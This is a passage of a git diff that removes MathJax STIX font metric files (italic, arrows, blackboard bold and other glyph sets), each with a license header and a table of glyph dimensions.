-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{8450:[666,18,702,35,702],8453:[676,14,855,47,808],8458:[441,219,738,30,678],8459:[687,15,997,53,991],8461:[653,0,732,17,767],8462:[668,11,513,45,483],8464:[675,15,897,26,888],8466:[687,15,946,33,931],8469:[653,0,727,25,755],8470:[668,15,1046,19,1031],8473:[653,0,687,17,686],8474:[666,71,723,35,713],8475:[687,15,944,34,876],8477:[653,0,687,17,686],8482:[653,-247,980,30,957],8484:[653,0,754,7,750],8492:[687,15,950,34,902],8495:[441,11,627,30,554],8496:[687,15,750,100,734],8497:[680,0,919,43,907],8499:[674,15,1072,38,1056],8500:[441,11,697,30,680],8508:[428,12,635,40,630],8511:[653,0,750,30,780],8517:[653,0,713,17,703],8518:[683,11,581,40,634],8519:[441,11,515,40,485],8520:[653,0,293,27,346],8521:[653,217,341,-104,394]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Main.js
deleted file mode 100644
index 588819ed..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"]={directory:"General/Italic",family:"STIXGeneral",style:"italic",Ranges:[[160,255,"Latin1Supplement"],[256,383,"LatinExtendedA"],[384,591,"LatinExtendedB"],[592,687,"IPAExtensions"],[688,767,"SpacingModLetters"],[880,1023,"GreekAndCoptic"],[1024,1279,"Cyrillic"],[7680,7935,"LatinExtendedAdditional"],[8192,8303,"GeneralPunctuation"],[8352,8399,"CurrencySymbols"],[8400,8447,"CombDiactForSymbols"],[8448,8527,"LetterlikeSymbols"],[8704,8959,"MathOperators"],[9216,9279,"ControlPictures"],[9312,9471,"EnclosedAlphanum"],[9472,9599,"BoxDrawing"],[64256,64335,"AlphaPresentForms"],[119860,119911,"MathItalic"],[119964,120015,"MathScript"],[120328,120379,"MathSSItalic"],[120484,120485,"ij"],[120546,120603,"GreekItalic"]],32:[0,0,250,0,0],33:[667,11,333,39,304],34:[666,-421,420,144,432],35:[676,0,501,2,540],36:[731,89,500,32,497],37:[706,19,755,80,705],38:[666,18,778,76,723],39:[666,-421,214,132,241],40:[669,181,333,42,315],41:[669,180,333,16,289],42:[666,-255,500,128,492],43:[506,0,675,86,590],44:[101,129,250,-5,135],45:[255,-192,333,49,282],46:[100,11,250,27,138],47:[666,18,278,-65,386],48:[676,7,500,32,497],49:[676,0,500,50,409],50:[676,0,500,12,452],51:[676,7,500,16,465],52:[676,0,500,1,479],53:[666,7,500,15,491],54:[686,7,500,30,521],55:[666,8,500,75,537],56:[676,7,500,30,493],57:[676,17,500,23,492],58:[441,11,333,50,261],59:[441,129,333,26,261],60:[516,10,675,84,592],61:[386,-120,675,86,590],62:[516,10,675,84,592],63:[664,12,500,132,472],64:[666,18,920,118,806],65:[668,0,611,-51,564],66:[653,0,611,-8,588],67:[666,18,667,66,689],68:[653,0,722,-8,700],69:[653,0,611,-1,634],70:[653,0,611,8,645],71:[666,18,722,52,722],72:[653,0,722,-8,769],73:[653,0,333,-8,384],74:[653,18,444,-6,491],75:[653,0,667,7,722],76:[653,0,556,-8,559],77:[653,0,833,-18,872],78:[653,15,667,-20,727],79:[667,18,722,60,699],80:[653,0,611,0,605],81:[666,182,722,59,699],82:[653,0,611,-13,588],83:[667,18,500,17,508],84:[653,0,556,59,633],85:[653,18,722,102,765],86:[653,18,611,76,688],87:[653,18,833,71,906],88:[653,0,611,-29,655],89:[653,0,556,78,633],90:[653,0,556,-6,606],91:[663,153,389,21,391],92:[666,18,278,-41,319],93:[663,153,389,12,382],94:[666,-301,422,0,422],95:[-75,125,500,0,500],96:[664,-492,333,120,311],97:[441,11,501,17,476],98:[683,11,500,23,473],99:[441,11,444,30,425],100:[683,13,500,15,527],101:[441,11,444,31,412],102:[678,207,278,-147,424],103:[441,206,500,8,471],104:[683,9,500,19,478],105:[654,11,278,49,264],106:[652,207,278,-124,279],107:[683,11,444,14,461],108:[683,11,278,41,279],109:[441,9,722,12,704],110:[441,9,500,14,474],111:[441,11,500,27,468],112:[441,205,504,-75,472],113:[441,209,500,25,484],114:[441,0,389,45,412],115:[442,13,389,16,366],116:[546,11,278,38,296],117:[441,11,500,42,475],118:[441,18,444,20,426],119:[441,18,667,15,648],120:[441,11,444,-27,447],121:[441,206,444,-24,426],122:[428,81,389,-2,380],123:[687,177,400,51,407],124:[666,18,275,105,171],125:[687,177,400,-7,349],126:[323,-183,541,40,502],305:[441,11,278,47,235],567:[441,207,278,-124,246],915:[653,0,611,8,645],916:[668,0,611,-32,526],920:[667,18,722,60,699],923:[668,0,611,-51,564],926:[653,0,651,-6,680],928:[653,0,722,-8,769],931:[653,0,620,-6,659],933:[668,0,556,78,648],934:[653,0,741,50,731],936:[667,0,675,77,778],937:[666,0,762,-6,739],945:[441,11,552,27,549],946:[678,205,506,-40,514],947:[435,206,410,19,438],948:[668,11,460,24,460],949:[441,11,444,30,425],950:[683,185,454,30,475],951:[441,205,474,14,442],952:[678,11,480,27,494],953:[441,11,278,49,235],954:[441,13,444,14,465],955:[678,16,458,-12,431],956:[428,205,526,-33,483],957:[441,18,470,20,459],958:[683,185,454,30,446],959:[441,11,500,27,468],960:[428,18,504,19,536],961:[441,205,504,-40,471],962:[441,185,454,30,453],963:[428,11,498,27,531],964:[428,11,410,12,426],965:[441,10,478,19,446],966:[441,205,622,27,590],967:[441,207,457,-108,498],968:[441,205,584,15,668],969:[439,11,686,27,654],977:[678,10,556,19,526],981:[683,205,627,27,595],982:[428,11,792,17,832],1009:[441,205,516,27,484],1013:[441,11,444,30,420],8467:[687,11,579,48,571]};MathJax.OutputJax["HTML-CSS"].initFont("STIXGeneral-italic");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathItalic.js
deleted file mode 100644
index 0141fdbc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{119860:[667,0,717,35,685],119861:[653,0,696,38,686],119862:[659,12,671,50,711],119863:[653,0,790,38,765],119864:[653,0,714,38,734],119865:[653,0,618,38,723],119866:[668,12,734,50,734],119867:[653,0,873,38,923],119868:[653,0,480,38,530],119869:[653,12,540,60,620],119870:[653,0,762,38,802],119871:[653,0,708,38,668],119872:[653,0,1005,38,1055],119873:[653,0,851,38,901],119874:[669,11,732,50,712],119875:[653,0,594,38,704],119876:[667,152,781,50,731],119877:[653,0,740,38,725],119878:[668,10,650,50,680],119879:[653,0,550,25,670],119880:[653,13,705,65,775],119881:[653,16,575,60,760],119882:[653,16,916,60,1101],119883:[653,0,790,25,810],119884:[653,0,535,35,695],119885:[653,0,772,60,802],119886:[441,10,502,40,472],119887:[668,11,470,45,450],119888:[441,11,415,40,400],119889:[668,12,532,40,527],119890:[441,11,445,40,410],119891:[668,187,555,40,615],119892:[441,187,492,20,492],119894:[616,11,311,50,257],119895:[616,187,389,-16,372],119896:[668,11,542,45,527],119897:[668,10,318,45,278],119898:[441,8,710,30,680],119899:[441,8,497,30,467],119900:[441,11,458,40,438],119901:[441,183,489,-30,474],119902:[441,183,458,40,463],119903:[441,0,408,30,393],119904:[441,11,440,50,390],119905:[567,9,313,40,283],119906:[441,9,474,30,444],119907:[458,9,506,72,479],119908:[460,9,775,72,748],119909:[441,9,550,30,510],119910:[440,183,496,30,496],119911:[450,14,499,42,467]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/MathItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathOperators.js
deleted file mode 100644
index 4bbbafe2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{8706:[668,11,471,40,471],8722:[286,-220,675,86,590]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/MathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathSSItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathSSItalic.js
deleted file mode 100644
index 0cae6102..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathSSItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathSSItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{120328:[674,0,666,31,635],120329:[662,0,604,74,641],120330:[676,14,671,96,755],120331:[662,0,692,74,751],120332:[662,0,583,74,678],120333:[662,0,535,74,679],120334:[676,14,695,97,755],120335:[662,0,658,74,749],120336:[662,0,401,59,512],120337:[662,14,398,22,470],120338:[662,0,634,74,729],120339:[662,0,559,74,564],120340:[662,0,843,75,933],120341:[662,14,675,74,766],120342:[676,14,714,99,779],120343:[662,0,525,74,638],120344:[676,175,716,99,779],120345:[662,0,589,74,639],120346:[676,14,541,62,597],120347:[662,0,608,161,748],120348:[662,14,661,117,757],120349:[662,11,654,196,788],120350:[662,11,921,194,1057],120351:[662,0,700,31,806],120352:[662,0,630,186,774],120353:[662,0,637,28,763],120354:[463,10,448,55,467],120355:[684,10,496,74,535],120356:[463,10,456,67,503],120357:[684,11,494,72,600],120358:[463,10,444,69,487],120359:[683,0,336,101,526],120360:[463,216,496,-7,575],120361:[684,0,487,63,510],120362:[679,0,220,69,325],120363:[679,216,254,-118,354],120364:[684,0,453,63,556],120365:[684,0,205,61,313],120366:[464,0,756,65,775],120367:[464,0,487,63,510],120368:[463,10,499,76,536],120369:[464,216,498,14,538],120370:[464,216,498,72,549],120371:[464,0,336,63,439],120372:[463,10,389,61,432],120373:[580,10,291,96,376],120374:[453,11,491,89,536],120375:[453,14,474,143,555],120376:[453,14,702,140,787],120377:[453,0,482,30,544],120378:[453,216,484,-19,565],120379:[453,0,447,25,517]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/MathSSItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathScript.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathScript.js
deleted file mode 100644
index 199f28a5..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathScript.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/MathScript.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{119964:[674,15,855,31,846],119966:[687,15,797,37,781],119967:[687,15,885,36,818],119970:[687,15,773,83,740],119973:[674,177,802,9,792],119974:[687,15,1009,40,1004],119977:[687,15,970,38,956],119978:[680,15,692,82,663],119979:[687,15,910,38,886],119980:[680,38,692,82,663],119982:[680,15,743,67,701],119983:[687,15,912,43,907],119984:[687,15,842,36,805],119985:[687,15,932,35,922],119986:[687,15,1078,35,1070],119987:[687,15,891,36,873],119988:[687,226,926,91,916],119989:[687,15,932,59,912],119990:[441,11,819,30,758],119991:[687,12,580,47,559],119992:[441,11,662,30,589],119993:[687,11,845,30,827],119995:[687,209,685,27,673],119997:[687,11,753,38,690],119998:[653,11,496,83,484],119999:[653,219,730,9,718],120000:[687,11,726,40,666],120001:[687,11,579,48,571],120002:[441,11,1038,49,978],120003:[441,11,761,49,701],120005:[441,209,773,23,694],120006:[441,209,780,30,743],120007:[444,0,580,48,572],120008:[531,11,515,62,412],120009:[658,11,551,30,532],120010:[424,11,753,30,693],120011:[441,11,618,30,582],120012:[441,11,888,30,852],120013:[441,11,752,65,675],120014:[424,219,658,30,617],120015:[478,11,691,52,617]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/MathScript.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/SpacingModLetters.js
deleted file mode 100644
index 09687972..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{688:[838,-326,378,7,391],689:[838,-326,378,7,414],690:[851,-199,300,44,350],691:[690,-345,320,2,320],692:[690,-345,320,0,318],693:[690,-163,320,0,335],694:[684,-345,390,6,462],695:[690,-327,500,15,515],696:[693,-202,330,16,357],699:[686,-443,333,79,236],704:[690,-295,326,30,307],705:[690,-295,326,23,343],710:[661,-492,333,91,385],711:[661,-492,333,121,426],728:[650,-492,333,117,418],729:[606,-508,333,207,305],730:[707,-508,333,155,355],731:[40,169,333,-20,200],732:[624,-517,333,100,427],733:[664,-494,333,93,486],736:[684,-218,315,23,335],737:[837,-333,220,41,214],738:[691,-335,300,16,290],739:[691,-333,380,4,379],740:[847,-333,318,8,345],748:[70,147,320,15,305],749:[665,-507,405,10,395]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/SpacingModLetters.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ij.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ij.js
deleted file mode 100644
index e54c3c70..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ij.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ij.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{120484:[441,11,278,47,235],120485:[441,207,278,-124,246]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/ij.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/AlphaPresentForms.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/AlphaPresentForms.js
deleted file mode 100644
index c6ed273e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/AlphaPresentForms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/AlphaPresentForms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{64256:[683,0,605,20,655],64257:[683,0,558,32,523],64258:[683,0,556,31,522],64259:[683,0,832,20,797],64260:[683,0,830,20,796]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/AlphaPresentForms.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Arrows.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Arrows.js
deleted file mode 100644
index 1b4ffd58..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8602:[450,-58,926,60,866],8603:[450,-58,926,60,866],8604:[411,-102,926,70,856],8605:[411,-102,926,70,856],8606:[449,-58,926,70,856],8607:[662,154,511,60,451],8608:[449,-58,926,70,856],8609:[662,154,511,60,451],8610:[449,-58,926,70,856],8611:[449,-58,926,70,856],8612:[450,-57,926,70,857],8613:[662,154,511,60,451],8615:[662,154,511,59,451],8616:[662,154,511,59,451],8619:[553,0,926,70,856],8620:[553,0,926,70,856],8621:[449,-58,1200,49,1151],8622:[450,-58,926,38,888],8623:[662,154,511,60,451],8624:[662,156,463,30,424],8625:[662,156,463,39,433],8626:[662,154,463,25,419],8627:[662,154,463,39,433],8628:[662,154,926,70,856],8629:[662,156,926,70,856],8630:[534,0,926,44,882],8631:[534,0,926,44,882],8632:[732,156,926,55,872],8633:[598,92,926,60,866],8634:[686,116,974,116,858],8635:[686,116,974,116,858],8638:[662,156,511,222,441],8639:[662,156,511,69,288],8642:[662,156,511,222,441],8643:[662,156,511,69,288],8644:[598,92,926,71,856],8645:[662,156,773,31,742],8646:[598,92,926,71,856],8647:[599,92,926,70,856],8648:[662,156,773,41,732],8649:[599,92,926,70,856],8650:[662,156,773,41,732],8651:[539,33,926,70,856],8653:[551,45,926,60,866],8654:[517,10,926,20,906],8655:[551,45,926,60,866],8662:[662,156,926,55,874],8663:[662,156,926,55,874],8664:[662,156,926,55,874],8665:[662,156,926,55,874],8666:[644,139,926,46,852],8667:[645,138,926,74,880],8668:[449,-58,926,60,866],8669:[449,-58,926,60,866],8670:[662,156,511,60,451],8671:[662,156,511,60,451],8672:[449,-58,926,60,866],8673:[662,156,511,60,451],8674:[449,-58,926,60,866],8675:[662,156,511,60,451],8676:[450,-58,926,60,866],8677:[450,-58,926,60,866],8678:[551,45,926,60,866],8679:[662,156,685,45,641],8680:[551,45,926,60,866],8681:[662,156,685,45,641],8682:[690,184,685,45,641],8692:[448,-57,926,70,856],8693:[662,156,773,31,742],8694:[739,232,926,60,866],8695:[450,-58,926,60,866],8696:[450,-58,926,55,861],8697:[450,-58,926,48,878],8698:[450,-58,926,60,866],8699:[450,-58,926,60,866],8700:[450,-58,926,38,888],8701:[449,-57,926,60,866],8702:[449,-57,926,60,866],8703:[449,-57,926,20,906]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/Arrows.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BBBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BBBold.js
deleted file mode 100644
index 3896e89a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BBBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BBBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120120:[662,0,741,50,691],120121:[662,0,676,70,626],120123:[662,0,722,70,677],120124:[662,0,622,70,567],120125:[662,0,469,70,567],120126:[676,13,706,45,664],120128:[662,0,322,78,244],120129:[662,14,560,40,495],120130:[674,0,735,70,729],120131:[662,0,591,70,571],120132:[662,0,855,70,785],120134:[676,14,760,45,715],120138:[676,14,636,35,597],120139:[662,0,527,20,622],120140:[662,14,698,65,633],120141:[662,0,568,12,653],120142:[662,0,920,12,949],120143:[662,0,768,35,733],120144:[662,0,563,12,685],120146:[460,10,561,45,506],120147:[683,10,565,50,524],120148:[460,10,520,45,475],120149:[683,10,574,45,519],120150:[460,10,523,45,478],120151:[683,0,368,25,431],120152:[460,218,574,45,519],120153:[683,0,544,55,489],120154:[683,0,258,55,203],120155:[683,217,305,-15,250],120156:[683,0,551,50,539],120157:[683,0,258,55,203],120158:[460,0,830,55,775],120159:[460,0,544,55,489],120160:[458,12,553,45,508],120161:[460,218,574,55,529],120162:[460,218,574,45,519],120163:[463,0,301,55,407],120164:[460,10,519,36,483],120165:[633,10,329,20,297],120166:[450,10,544,55,489],120167:[450,0,443,20,479],120168:[450,0,676,20,695],120169:[450,0,560,30,530],120170:[450,218,468,20,510],120171:[450,0,519,43,476],120792:[676,14,540,28,512],120793:[693,0,540,91,355],120794:[676,0,547,48,514],120795:[676,14,540,49,478],120796:[676,0,540,20,524],120797:[662,14,540,35,489],120798:[676,14,540,28,512],120799:[662,0,540,24,511],120800:[676,14,540,28,512],120801:[676,12,540,28,512]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/BBBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BlockElements.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BlockElements.js
deleted file mode 100644
index 1be54133..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BlockElements.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BlockElements.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{9600:[910,-304,1213,0,1213],9604:[303,303,1213,0,1213],9608:[910,303,1213,0,1213],9612:[910,303,1212,0,606],9616:[910,303,1212,606,1212],9617:[860,258,1200,0,1200],9618:[874,273,1200,0,1200],9619:[874,273,1200,0,1200]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/BlockElements.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoldFraktur.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoldFraktur.js
deleted file mode 100644
index 03d32b06..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoldFraktur.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoldFraktur.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoxDrawing.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoxDrawing.js
deleted file mode 100644
index 2752b1ab..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoxDrawing.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/BoxDrawing.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CJK.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CJK.js
deleted file mode 100644
index e136f5b2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CJK.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CJK.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{12306:[662,0,685,10,672],12336:[417,-93,1412,45,1367]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/CJK.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiacritMarks.js
deleted file mode 100644
index 03d20ffa..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
